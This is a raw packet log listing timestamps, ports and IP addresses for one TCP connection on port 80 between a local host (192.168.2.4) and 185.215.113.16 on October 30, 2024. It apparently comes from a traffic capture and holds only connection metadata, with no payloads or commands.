Oct 30, 2024 12:36:51.482343912 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.482343912 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.482462883 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.482508898 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.482525110 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.482532024 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.482534885 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.482546091 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.482558012 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.482592106 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.482592106 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.482898951 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.482907057 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.482914925 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.482923985 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.482933044 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.482943058 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.482949972 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.482983112 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.483023882 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.483031988 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.483040094 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.483050108 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.483069897 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.483073950 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.483081102 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.483089924 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.483094931 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.483117104 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.483144045 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.483186007 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.483196020 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.483205080 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.483230114 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.483268976 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.483273029 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.483278990 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.483287096 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.483336926 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.483336926 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.483452082 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.483472109 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.483481884 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.483489990 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.483500004 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.483509064 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.483524084 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.483552933 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.483649015 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.483695030 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.483704090 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.483719110 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.483753920 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.483793020 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.483803034 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.483812094 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.483822107 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.483829975 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.483840942 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.483870029 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.483887911 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.483887911 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.483894110 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.483902931 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.483926058 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.483932018 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.483942032 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.483942986 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.483951092 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.483972073 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.484003067 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.484014034 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.484065056 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.484067917 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.484117985 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.484200001 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.484214067 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.484224081 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.484234095 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.484244108 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.484246969 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.484280109 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.484308004 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.484469891 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.484478951 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.484487057 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.484508991 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.484530926 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.484534979 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.484540939 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.484549999 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.484574080 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.484603882 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.484705925 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.484754086 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.484777927 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.484786987 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.484822989 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.484838963 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.484848976 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.484886885 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.484906912 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.484909058 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.484994888 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.485004902 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.485012054 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.485019922 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.485032082 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.485035896 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.485047102 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.485054016 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.485055923 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.485065937 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.485080957 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.485105038 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.485177040 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.485191107 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.485199928 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.485209942 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.485218048 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.485228062 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.485238075 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.485243082 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.485255003 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.485264063 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.485266924 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.485275030 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.485280037 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.485280991 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.485285044 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.485295057 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.485305071 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.485311985 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.485327959 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.485337019 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.485338926 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.485348940 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.485358953 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.485373974 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.485415936 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.485445976 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.485454082 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.485464096 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.485481024 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.485517025 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.485517025 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.485601902 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.485611916 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.485620975 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.485629082 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.485637903 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.485646963 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.485647917 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.485658884 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.485668898 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.485707998 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.485707998 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.485713959 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.485726118 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.485734940 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.485744953 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.485758066 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.485774994 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.485804081 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.485811949 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.485821962 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.485831022 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.485841036 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.485851049 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.485860109 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.485860109 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.485883951 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.485891104 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.485901117 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.485904932 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.485909939 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.485920906 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.485932112 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.485933065 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.485941887 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.485948086 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.485970020 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.485990047 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.486000061 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.486010075 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.486021996 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.486027002 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.486037016 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.486037970 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.486047029 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.486057043 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.486059904 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.486067057 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.486082077 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.486098051 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.486115932 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.486126900 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.486129999 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.486162901 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.486171007 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.486180067 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.486216068 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.486327887 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.486335993 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.486344099 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.486355066 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.486376047 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.486407995 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.486407995 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.486408949 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.486419916 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.486428976 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.486437082 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.486460924 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.486489058 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.551384926 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.551419020 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.551444054 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.551450968 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.551455975 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.551470041 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.551482916 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.551484108 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.551484108 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.551495075 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.551496029 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.551506996 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.551507950 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.551520109 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.551526070 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.551532030 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.551543951 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.551551104 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.551554918 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.551568031 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.551573038 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.551584959 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.551595926 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.551595926 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.551608086 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.551620960 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.551620960 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.551630974 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.551640034 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.551654100 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.551662922 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.551666021 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.551676989 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.551688910 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.551697016 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.551702976 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.551714897 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.551721096 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.551723957 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.551732063 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.551752090 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.551770926 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.594669104 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.594693899 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.594706059 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.594717026 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.594731092 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.594731092 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.594750881 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.594755888 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.594763994 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.594774961 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.594786882 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.594799042 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.594808102 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.594810009 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.594827890 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.594841003 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.594844103 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.594852924 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.594865084 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.594880104 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.594882011 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.594892979 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.594902992 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.594909906 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.594913960 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.594928980 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.594938040 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.594940901 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.594949007 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.594954967 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.594960928 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.594985962 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.594986916 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.594996929 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.595006943 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.595009089 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.595019102 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.595035076 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.595046043 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.595061064 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.595063925 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.595077038 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.595086098 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.595087051 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.595098019 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.595110893 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.595138073 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.595166922 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.595177889 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.595190048 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.595202923 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.595211983 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.595226049 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.595237017 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.595238924 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.595247984 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.595257998 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.595263958 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.595278025 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.595283985 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.595288038 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.595333099 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.595334053 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.595334053 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.595344067 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.595355034 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.595366955 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.595376968 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.595381975 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.595406055 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.595412016 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.595418930 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.595422983 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.595433950 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.595459938 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.595483065 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.595509052 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.595520020 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.595530033 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.595547915 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.595552921 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.595558882 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.595571041 CET	80	49747	185.215.113.16	192.168.2.4
